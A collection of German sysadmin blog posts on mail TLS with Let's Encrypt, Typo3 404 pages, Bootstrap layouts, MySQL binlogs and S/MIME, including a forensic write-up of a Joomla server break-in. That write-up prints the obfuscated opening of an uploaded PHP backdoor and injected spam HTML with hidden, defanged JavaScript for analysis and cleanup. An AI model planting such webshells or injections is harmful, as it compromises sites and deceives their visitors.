Thunderbird

Nun muss man nur noch das jeweilige Mailprogramm so konfigurieren, dass es die Verbindungen auch verschlüsselt anfordert. Auch hier gibt es wieder zwei Richtungen. Im Reiter Server-Einstellungen gibt man die Konfiguration an, die zum Abrufen der Mails notwendig ist.

thunderbird4

Im Reiter Postausgangs-Server kommen dann die Einstellungen zum Versenden der Mails. In diesem Fall sind die Einstellungen identisch. Eigentlich hätte ich aber auch noch ein Zertifikat für smtp.debacher.de erzeugen können.

thunderbird3

In der Logdatei /var/log/mail kann man erkennen, wenn die Mails verschlüsselt abgerufen werden:

2016-10-22T16:21:45.874680+02:00 h2366010 dovecot: imap-login: Login: user=<xxx@debacher.de>, method=PLAIN, rip=85.176.x.y, lip=81.169.xx.yy, mpid=30944, TLS, session=<vv7q4HQ/xABVsIAH>

Hier taucht dann TLS in der Zeile auf. Entsprechend für das Abliefern der Mails:

2016-10-22T18:17:17.327190+02:00 h2366010 postfix/smtpd[32315]: Anonymous TLS connection established from x5b087001.dyn.telefonica.de[85.176.x.y]: TLSv1.2 with cipher ECDHE-RSA-AES128-GCM-SHA256 (128/128 bits)

Da der Zugriff auf das Mailsystem auch immer häufiger mobil erfolgt scheint mir eine Verschlüsselung der Verbindung unvermeidlich. Dazu muss man in die Konfiguration von Postfix und Dovecot eingreifen. Ausgangspunkt für meine Konfiguration ist die Server-Beschreibung unter http://www.debacher.de/wiki/Root-Server_mit_OpenSuSE_13.2 .

letsencrypt

Da mir das System von letsencrypt sehr zusagt möchte ich die zugehörigen Zertifikate auch für das Mailsystem nutzen. Dazu habe ich mir einen virtuellen Apache-Server eingerichtet, der auf http://imap.meine-domain.de hört und ansonsten keinen Inhalt zur Verfügung stellt. Der virtuelle Server ist nur für die Erstellung und Verlängerung der Zertifikate wichtig.

Hierfür habe ich mir eine letsencrypt.ini angelegt:

# Wir nutzen 4096 bit RSA key statt 2048
rsa-key-size = 4096

# allgemeine Angaben
email = <name>@<domain>
authenticator = webroot

# Domains fuer die wir Zertifikate beantragen, die erste in
# der liste legt den Hauptnamen fest. Alle Domains müssen beim
# Aufruf erreichbar sein
domains = imap.debacher.de, smtp.debacher.de

# Dies ist das Verzeichnis zur Domain, wo letsencrypt seinen Hash in
# /.well-known/acme-challenge schreiben will. Der Pfad muss auf / enden
webroot-path = /srv/www/vhosts/imap.debacher.de/httpdocs/

Dann mittels

/root/letsencrypt/letsencrypt-auto certonly --config /srv/www/vhosts/imap.debacher.de/letsencrypt.ini

das Zertifikat erzeugt.

Dovecot

Für Dovecot müssen dann folgende Informationen in der Konfigurationsdatei stehen:

protocols = imap pop3 lmtp sieve
ssl = yes 
ssl_cert = </etc/letsencrypt/live/imap.debacher.de/fullchain.pem 
ssl_key = </etc/letsencrypt/live/imap.debacher.de/privkey.pem

Nach einem Neustart greift Dovecot dann auf das Zertifikat zu.

Abfragen kann man das Zertifikat dann mittels:

openssl s_client -connect imap.debacher.de:pop3s

oder

openssl s_client -connect imap.debacher.de:imaps

oder

openssl s_client -connect imap.debacher.de:smtp -starttls smtp

Postfix

Für Postfix muss etwas mehr gemacht werden. Wir haben ja zwei Richtungen zu beachten, Postix kann als Client und als Server dienen. Wenn er Mails an andere Rechner abliefert, dann ist er Client (smtp_…), ansonsten Server (smtpd_…).

Ich habe an die Konfigurationsdatei /etc/postfix/main.cf folgende Zeilen angehängt:

# tls config
smtp_tls_note_starttls_offer = yes

# eingehende Verbindungen
smtpd_use_tls = yes
smtpd_enforce_tls = no
# Obiges kann zusammengefasst werden zu smtpd_tls_security_level=may
smtpd_tls_key_file = /etc/letsencrypt/live/imap.debacher.de/privkey.pem
smtpd_tls_cert_file = /etc/letsencrypt/live/imap.debacher.de/fullchain.pem
smtpd_tls_loglevel = 1
smtpd_tls_received_header = yes
smtpd_tls_session_cache_timeout = 3600s
smtpd_tls_mandatory_protocols=!SSLv2, !SSLv3
#tls_random_source = dev:/dev/urandom
#tls_random_prng_update_period = 3600s

# ausgehende Verbindungen
smtp_use_tls = yes
smtp_enforce_tls = no
# Obiges kann zusammengefasst werden zu smtp_tls_security_level=may
smtp_tls_key_file = /etc/letsencrypt/live/imap.debacher.de/privkey.pem
smtp_tls_cert_file = /etc/letsencrypt/live/imap.debacher.de/fullchain.pem
smtp_tls_loglevel = 1
smtp_tls_mandatory_protocols=!SSLv2, !SSLv3

Nun muss noch in der Datei /etc/postfix/master.cf eine Zeile auskommentiert werden:

tlsmgr unix - - n 1000? 1 tlsmgr

Thunderbird

Etwas mehr Aufwand bedeutet es den Nutzern der eMail-Domain die Konfiguration ihrer Mail-Clients zu beschreiben. Zumindest für Thunderbird gibt es eine genial einfache Lösung dafür, Danke an Lukas Thiel für den Hinweis.

Thunderbird unterstützt eine Autokonfiguration. Für die großen Anbieter greift es dazu auf eine eigene Datenbank zu, als kleiner Anbieter kann man die notwendigen Informationen nach folgender Anleitung erstellen: https://developer.mozilla.org/de/docs/Mozilla/Thunderbird/Autokonfiguration.

Der Anleitung folgend habe ich mir im Webserververzeichnis httpdocs meiner Domain eine Datei .well-known/autoconfig/mail/config-v1.1.xml angelegt mit folgendem Inhalt:
autoconfig1

Thunderbird sucht beim Anlegen einer neuen Mailadresse nach dieser Datei in der zugehörigen Domain. Wenn die Datei gefunden wird, dann konfiguriert sich das Mailprogramm ganz automatisch nach diesen Einstellungen.

Für den Fall, dass die automatische Konfiguration nicht möglich ist findet sich eine Konfigurationsbeschreibung unter http://www.debacher.de/ublog/2016/10/thunderbird-konfigurieren/.

In der Logdatei /var/log/mail kann man erkennen, wenn die Mails verschlüsselt abgerufen werden:

2016-10-22T16:21:45.874680+02:00 h2366010 dovecot: imap-login: Login: user=<xxx@debacher.de>, method=PLAIN, rip=85.176.x.y, lip=81.169.xx.yy, mpid=30944, TLS, session=<vv7q4HQ/xABVsIAH>

Hier taucht dann TLS in der Zeile auf. Entsprechend für das Abliefern der Mails:

2016-10-22T18:17:17.327190+02:00 h2366010 postfix/smtpd[32315]: Anonymous TLS connection established from x5b087001.dyn.telefonica.de[85.176.x.y]: TLSv1.2 with cipher ECDHE-RSA-AES128-GCM-SHA256 (128/128 bits)

Links

Ich bin gerade dabei mich mit dem Framework Bootstrap zu beschäftigen. Dabei tauchte mal wieder das Problem der gleich langen Spalten auf, das anscheinend in den zugehörigen Anleitungen nirgends beschrieben wird. Ein dreispaltiges Lyout beschreibt man dort z.B. mittels:

<div class="container">
  <div class="row">
    <div class="col-md-3">Spalte1</div>
    <div class="col-md-6">Spalte2</div>
    <div class="col-md-3">Spalte3</div>
  </div>
</div>

Leider sind dabei die Spalten ungleich hoch, abhängig von der Menge an Text, wenn sie einen Hintergrund besitzen. Eine einfache Lösung besteht darin zwei zusätzlich CSS-Klassen einzuführen:

.equal{
    margin-bottom: -99999px;
    padding-bottom: 99999px;
    background-color:#efefef;
}

.equalheight {
    overflow: hidden; 
}

Die drei Spalten werden durch den negativen unteren Rand sehr weit ausgedehnt, gleichzeitig wird dies durch das gleichgroße Padding wieder aufgehoben. Alle Spalten haben also quasi einen unteren Farbigen Rand von 9999 Pixeln. Das äußere Element schneidet den überflüssigen Teil durch das overflow: hidden dann ab, wodurch alle Spalten die gleiche Länge bekommen.

<div class="container equalheight">
  <div class="row">
    <div class="col-md-3 equal">Spalte1</div>
    <div class="col-md-6 equal">Spalte2</div>
    <div class="col-md-3 equal">Spalte3</div>
  </div>
</div>

Weitere Lösungen zu dem gleichen Problem finden sich auf folgenden Seiten:

Es ist nicht ganz einfach Informationen zu finden, wie man bei Typo3 zu korrekten Fehlerseiten kommt, die auch einen 404er Fehlercode zurückliefern, vor allem wenn man mit simulatestatic arbeitet. Untersuchen kann man den gelieferten Fehlercode übrigens recht einfach mit der Firefox-Extension Firebug. In der Rubrik Netzwerk wird dort bei einem Seitenaufruf auch der Statuscode mit angezeigt.

Es gibt bei Typo3-Seiten eigentlich zwei unterschiedliche Situationen:

  1. Typo3 wird direkt (/index.php?id=000) oder indirekt (/000.html) mit einer illegalen id aufgerufen
  2. Die Domain wird mit einer URL aufgerufen, die nicht zur Typo3-Installation passt, z.B. mit einem Unterverzeichnis (/mediawiki/..)

Der erste Fall ist relativ einfach zu regeln, man erstellt in Typo3 eine Fehlerseite (hier fehler404.html) und erweitert die Konfigurationsdatei typo3conf/localconf.php folgendermaßen:

[FE][pageNotFound_handling] = /fehler404.html
[FE][pageNotFound_handling_statheader] = HTTP/1.0 404 Not Found

Damit wird für den Fall einer illegalen id die Fehlerseite aufgerufen und ein 404er Fehlercode zurückgeliefert.

Bleibt noch der zweite Fall. Typo3 würde in der Regel die Startseite liefern, egal was aufgerufen wurde. War in der aufgerufenen URL ein Unterverzeichnis angegeben, so wird das in dem Sinne berücksichtigt, dass Typo3 das Stylesheet nicht mehr findet. Die ausgelieferte Seite sieht also ganz komisch aus.

Um das zu ändern muss man an die Datei .htaccess ran, die man für simulatestatic ja aktivieren musste. Hier die .htacess, so wie sie von Typo3 geliefert wurde, ich habe alle Kommentarzeilen entfernt. Verändert habe ich lediglich die vorletzte Zeile:

<FilesMatch "\.(js|css)$">
  <IfModule mod_expires.c>
    ExpiresActive on
    ExpiresDefault "access plus 7 days"
  </IfModule>
  FileETag MTime Size
</FilesMatch>

<IfModule mod_rewrite.c>

RewriteEngine On

RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule ^(.+)\.(\d+)\.(php|js|css|png|jpg|gif|gzip)$ $1.$3 [L]

RewriteRule ^(typo3/|t3lib/|fileadmin/|typo3conf/|typo3temp/|uploads/|favicon\.ico) - [L]

RewriteRule ^typo3$ typo3/index_re.php [L]

RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteCond %{REQUEST_FILENAME} !-l

RewriteRule .* index.php?id=000 [L]

</IfModule>

In vielen Versionen der Datei werden nur Dateien mit der Endung .html ersetzt (RewriteRule ^[^/]*\.html$ index.php), hier wird jetzt immer die index.php aufgerufen, wenn die ursprüngliche Datei nicht gefunden wurde. Die index.php wird aber mit einer illegalen id aufgerufen, so dass ein Fehler nach Punkt 1 erzeugt wird. Typo3 wertet die übergebene id als String aus und nicht numerisch, eine id 000 wird es als sicherlich nicht geben, da beim Erzeugen einer Seite die id numerisch festgelegt wird. Die Idee dazu stammt von http://typo3.toaster-schwerin.de/typo3_dev/2008_04/msg00492.html.

Sofern die ursprünglich aufgerufenen id gültig war, spielt diese fehlerhafte id keine Rolle. Eine Erklärung dafür habe ich nicht, eventuell hat das etwas mit der Auswertungsreihenfolge von GET/POST Daten zu tun. Von daher ist nicht sichergestellt, dass dieser Trick auch in zukünftigen Typo3-Versionen funktioniert.

Ein Problem gibt es aber, wenn ein Slash (/) im Dateinamen auftaucht, dann gibt es zwar einen korrekten 404er Returncode, aber eine nackte Fehlerseite, da wieder das CSS nicht gefunden wird.

Mit

RewriteRule ^[^/]*\.html$ index.php [L]

stattdessen werden nur Adresse ohne Slash (/) ersetzt, bei anderen Adressen wird die Fehlerseite des Apache gezeigt, mit korrektem Fehlercode. Nun gibt es zwei unterschiedliche Fehlerseiten, einerseits die in Typo3, andererseits die vom Webserver. In beiden Fällen wird aber ein korrekter Fehlercode geliefert.

 

In einem meiner Server hat es einen Einbruch gegeben, vermutlich sogar zwei zur gleichen Zeit. Der Einbrecher hat einen Fehler in der Erweitereung eXtplorer genutzt, um eigene PHP-Scripten auf den Server zu laden. Die PHP-Scripten haben zum Teil vorhandene Dateien überschrieben, aber teilweise auch einfach auch fünfstellige Nummer als Dateinamen gehabt. Die Dateien begannen meist mit:

<?php
$auth_pass = "d738664f57d0cc63169931feb9cb5";
$color = "#df5";$default_action = "FilesMan";$default_use_ajax = true;$default_charset = "Windows-1251";
preg_replace("/.*/e","\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28'7X1re9s2z/Dn9VcwmjfZq+PYTtu7s2MnaQ5t2jTpcugp6ePJsmxrkS1PkuNkWf77C4CkREqy43S738N1vbufp

Die Angaben hinter $auth_pass variierten jeweils, der Rest war ziemlich gleich. Wenn man das dekodiert, dann bekommt man ein nettes Backdoor-Programm, mit dem man auf dem Server eine ganze Menge anfangen kann. Das reicht von einer eingebauten Shell bis zu Zugriffen auf die Datenbank.

Eine Weile war mir nicht klar, was der Angreifer mit dem Backdoor anfangen wollte. Meine eigenen Scripten und auch die Suchprogramme für Rootkits konnten keine veränderten Systemprogramme finden. Die Erklärung hat sich dann in den Joomla Datenbanken gefunden. Dort fanden sich am Ende von vorhandenen Einträgen in die Tabelle jos_content dann Einträge wie:

Hinweis: Ich haue ein paar Leerzeichen in den Code, damit er nicht ausgeführt wird und verändere natürlich auch die Links.

<!-- rk_czxV1dv1UTfErdQy28 -->
<div class="dnn" id="3743610">    
<p>purchase viagra from oots - <a href="http://lee-spammer.com/#836810">viagra online</a></p></div>
<!-- /rk_czxV1dv1UTfErdQy28 --> <!-- rk_czxV1dv1UTfErdQy29 -->
<div class="dnn" id="967814">    <p>buy cialis india <a href="http://spammpharmacy.com/#348">buy cialis online canada - spammpharmacy.com</a>
 buy cialis paypal payment</p></div><!-- /rk_czxV1dv1UTfErdQy29 --> 
<!-- rk_czxV1dv1UTfErdQy28 -->
<sc ript type="text/javascript">docu ment.wri te(une scape('%3C%73%63%72%69%70%74%20%6C%61%6E%67%75%61%67%65%3D%22%4A%61%76%61%53%63%72%69%70%74%22%3E%0A%66%75%6E%63%74%69%6F%6E%20%64%6E%6E%56%69%65%77%53%74%61%74%65%28%29%0A%7B%0A%76%61%72%20%61%3D%30%2C%6D%2C%76%2C%74%2C%7A%2C%78%3D%6E%65%77%20%41%72%72%61%79%28%27%39%30%39%31%39%36%38%33%37%36%27%2C%27%38%38%38%37%39%31%38%31%39%32%38%31%38%37%38%36%33%34%37%33%37%34%39%31%38%37%38%34%39%33%39%32%37%37%33%35%39%32%38%37%38%38%33%34%32%31%33%33%33%33%33%33%33%33%38%38%39%36%27%2C%27%37%37%38%37%38%37%27%2C%27%39%34%39%39%39%30%37%39%33%39%31%37%39%34%37%39%39%38%39%34%32%35%37%37%39%33%39%33%31%37%27%29%2C%6C%3D%78%2E%6C%65%6E%67%74%68%3B%0A%77%68%69%6C%65%28%2B%2B%61%3C%3D%6C%29%7B%6D%3D%78%5B%6C%2D%61%5D%3B%0A%74%3D%7A%3D%27%27%3B%0A%66%6F%72%28%76%3D%30%3B%76%3C%6D%2E%6C%65%6E%67%74%68%3B%29%7B%74%2B%3D%6D%2E%63%68%61%72%41%74%28%76%2B%2B%29%3B%0A%69%66%28%74%2E%6C%65%6E%67%74%68%3D%3D%32%29%7B%7A%2B%3D%53%74%72%69%6E%67%2E%66%72%6F%6D%43%68%61%72%43%6F%64%65%28%70%61%72%73%65%49%6E%74%28%74%29%2B%32%35%2D%6C%2B%61%29%3B%0A%74%3D%27%27%3B%7D%7D%78%5B%6C%2D%61%5D%3D%7A%3B%7D%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%27%3C%27%2B%78%5B%30%5D%2B%27%20%27%2B%78%5B%34%5D%2B%27%3E%2E%27%2B%78%5B%32%5D%2B%27%7B%27%2B%78%5B%31%5D%2B%27%7D%3C%2F%27%2B%78%5B%30%5D%2B%27%3E%27%29%3B%7D%64%6E%6E%56%69%65%77%53%74%61%74%65%28%29%3B%0A%3C%2F%73%63%72%69%70%74%3E'));</script>

Also etwas Spam-Text und dann verdeckter Javascript-Code.

Wenn man den entschlüsselt ergibt sich der folgende Code.

<sc ript language="Java Script">function dnn ViewState(){var a=0,m,v,t,z,x=new Array('9091968376','8887918192818786347374918784939277359287883421333333338896','778787','949990793917947998942577939317'),l=x.length;while(++a<=l){m=x[l-a];t=z='';for(v=0;v<m.length;){t+=m.charAt(v++);if(t.length==2){z+=String.fromCharCode(parseInt(t)+25-l+a);t='';}}x[l-a]=z;}doc ument.wr ite('<'+x[0]+' '+x[4]+'>.'+x[2]+'{'+x[1]+'}</'+x[0]+'>');}dnnViewState();</sc ript>

Wenn man das analysiert, dann kommt man zu

<style undefined>.dnn{pos ition:absolute;top:-9999px}</style>

Der Code dient also nur dazu die Textblöcke für den normalen Benutzer unsichtbar zu machen. Google führt den Javascript-Code nicht aus und sieht dann den Text des Spammers, was das Ziel der Übung sein dürfte. Es geht also um die sog. Suchmaschinenoptimierung.

Wenn man wissen will, was der Einbrecher alles verändert hat, dann kann man die Logdateien von MySQL befragen. Dazu gibt man im MySQL-Verzeichnis z.B. ein:

mysqlbinlog --database=meineDatenbank mysql-bin.000129 | grep rk_czx

Damit ermittelt man alle Einträge in der Datei, die sich auf die angegebene Datenbank beziehen. Für eine schnelle Suche übergibt man die Treffer an grep und lässt eine Zeichenkette suche, die man vorher gefunden hat.

Entfernen kann man die Einträge dann direkt in der Datenbank z.B. mit dem Programm phpmyadmin.

Auf der Suche nach einem fremden Programmierfehler war für mich das bin-log von MySQL nützlich.  Im Verzeichnis /var/lib/mysql, wo auch die Datenbanken liegen, finden sich bei mir mehr als fünfzig Dateien mit fortlaufender Nummerierung der Art mysql-bin.000001 . Dies Dateien beinhalten alle auf dem System ausgeführten SQL-Befehle, also alle Inserts, Updates und dergleichen. Die Inhalte können mit dem Programm mysqlbinlog ausgelesen werden.

mysqlbinlog --database=DBX25631 mysql-bin.000049

Hier werden konkret alle Zugriffe auf die Datenbank DBX25631 ausgegeben, die sich in der Datei mysql-bin.000049 befinden. Datum und Uhrzeit finden sich auch in der Ausgabe:

# at 487195020
#120610 19:59:36 server id 1  end_log_pos 487195168     Query   thread_id=468274        exec_time=0     error_code=0
SET TIMESTAMP=1339351176/*!*/;
INSERT INTO `jos_acajoom_xonfig` VALUES ('date_update', '2011-08-15 14:54:54', 0)
/*!*/;

Mit diesen Informationen hat man eine Chance fehlerhafte Zugriffe zu erkennen.

Leider werden die Dateien sehr groß (je 1GB) und ihre Zahl scheint nicht beschränkt zu sein (die Stellenzahl lässt mich erschrecken).

Im Abschnitt [mysqld] der Konfigurationsdatei /etc/my.conf lässt sich die Lebensdauer der Logdateien beschränken, im Beispiel auf  90 Tage.

expire_logs_days = 90

Das sollte den Speicherplatzbedarf deutlich reduzieren.

 

Meine Schule hat 16 neue Rechner bekommen, leider nicht von einem lokalen Händler, sondern vo dem, der die Ausschreibung gewonnen hat. Auf diesen Rechnern soll am Ende WindXP parallel mit Ubuntu laufen. Zur Absicherung des Windows sind die Geräte mit einer Karte von Dr. Kaiser ausgerüstet.

Die Rechner sind mit WindXP SP3 vorinstalliert. Leider ist diese Installation ein Problem, weil die Festplatte ungewöhnlich partitioniert ist:

/dev/sda1  Erweitert
/dev/sda2  NTFS Boot
/dev/sda5  logisch NTFS

Beim Versuch die Kaiser-Karte nach einer Anleitung aus http://www.dr-kaiser.de/pc-waechter-linux.0.html zu installieren ergab sich ein Problem. Die Windows-Partition wird erkannt und man kann weitere Partitionen anlegen und nach Anleitung konfigurieren. So weit so gut, nur startet dann das Windows nicht mehr, weil es meint auf /dev/sda1 zu liegen.

Eigentlich macht es ja auch Sinn, dass das WindXP auf /dev/sda1 liegt. Bevor ich das Windows „repariere“ wird daher die Partitionstabelle korrigiert, bevor die Kaiser-Karte aktiviert wird.

Dazu ein Linux-System booten, dort fdisk aufrufen:

fdisk /dev/sda
x   (extra functionality)
f   (fix partition order)
w   (write and exit)

Nun kann man noch versuchen das Windows zu reparieren, es würde jetzt ja so nicht mehr starten, da es wirklich auf /dev/sda1 liegt. Eine Reperatur-Möglichkeit ist eine Reperatur-Installation. Es mach aber Sinn eventuell erst einmal zu versuchen die boot.ini zu korrigieren.

Die Datei kann man gleich vom Linux aus korrigieren, muss dann aber darauf achten die Zeilenschaltungen nicht zu verändern.

Die boot.ini befindet sich direkt unterhalb von C:\ ist aber versteckt und als Systemdatei gekennzeichnet. Unter Windows muss man also die Ordneroptionen erst anpassen um sie direkt zu bearbeiten.

[boot loader]
timeout=30
default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS
[operating systems]
multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Microsoft Windows XP Professional" /noexecute=optin /fastdetect

Entscheidend ist hier die Partitionsnummer, die einfach von 2 auf 1 geändert wird.

Will man seine eMails signieren oder verschlüssen, so benötigt man ein passendes Paar aus öffentlichem und privatem Schlüssel. Aktuell gibt es dafür zwei unterschiedliche Systeme:

  • PGP
  • S/MIME

Bei dem ersten Verfahren erzeugt man das Schlüsselpaar in der Regel auf dem eigenen Rechner und benutzt dazu die Software GNUPG. Das System ist vollkommen kostenlos, man muss sich aber selber darum kümmern den eigenen öffentlichen Schlüssel bekannt zu machen, bzw. die öffentlichen Schlüssel der Kommunikationspartner zu bekommen. Erleichtert wird der Schlüsselaustausch durch öffentliche Server wie pool.sks-keyservers.net, subkeys.pgp.net und pgpkeys.pca.dfn.de. Normalerweise erfolgt die Kommunikation mit den Keyservern über Port 11371, falls der nicht benutzbar ist gibt es auch Webfrontends, z.B. http://wwwkeys.de.pgp.net/. Eine Beschreibung findet sich auf den Seiten von Enigmail dem OpenPGP Plugin für Thunderbird.

Das zweite Verfahren ist hierarchisch organisiert. Hier gibt es zentrale Zertifizierungsstellen, die die öffentlichen Schlüssel aufbewahren und verteilen. Diese zentralen Stellen sind in der Regel in den Mail-Programmen und Browsern bereits eingetragen, so dass die Schlüssel ohne weitere Interaktion bezogen werden. Schickt man eine mit solche einem Schlüssel signierte Mail, so kann die Software des Empfängers die Gültigkeit der Signatur automatisch überprüfen.

Leider sind S/MIME Zertifikate in der Regel kostenpflichtig. Es gibt aber einige Anbieter, die Privatleuten kostenfreie S/MIME Zertifikate der Cass 1 anbieten. Bei Class 1 ist nur die Mail-Adresse überprüft. Bisher habe ich folgende Anbieter mit entsprechenden Angeboten finden können:

Eine sehr schöne Anleitung für den Umgang mit S/MIME findet sich unter www.thunderbird-mail.de.

Nachtrag vom 28.8.2011:

Unter https://www.startssl.com/ ist ein weiterer Anbieter für Mail-Zertifikate zu finden, hier gibt es auch kostenfreie SSL-Server-Zertifikate.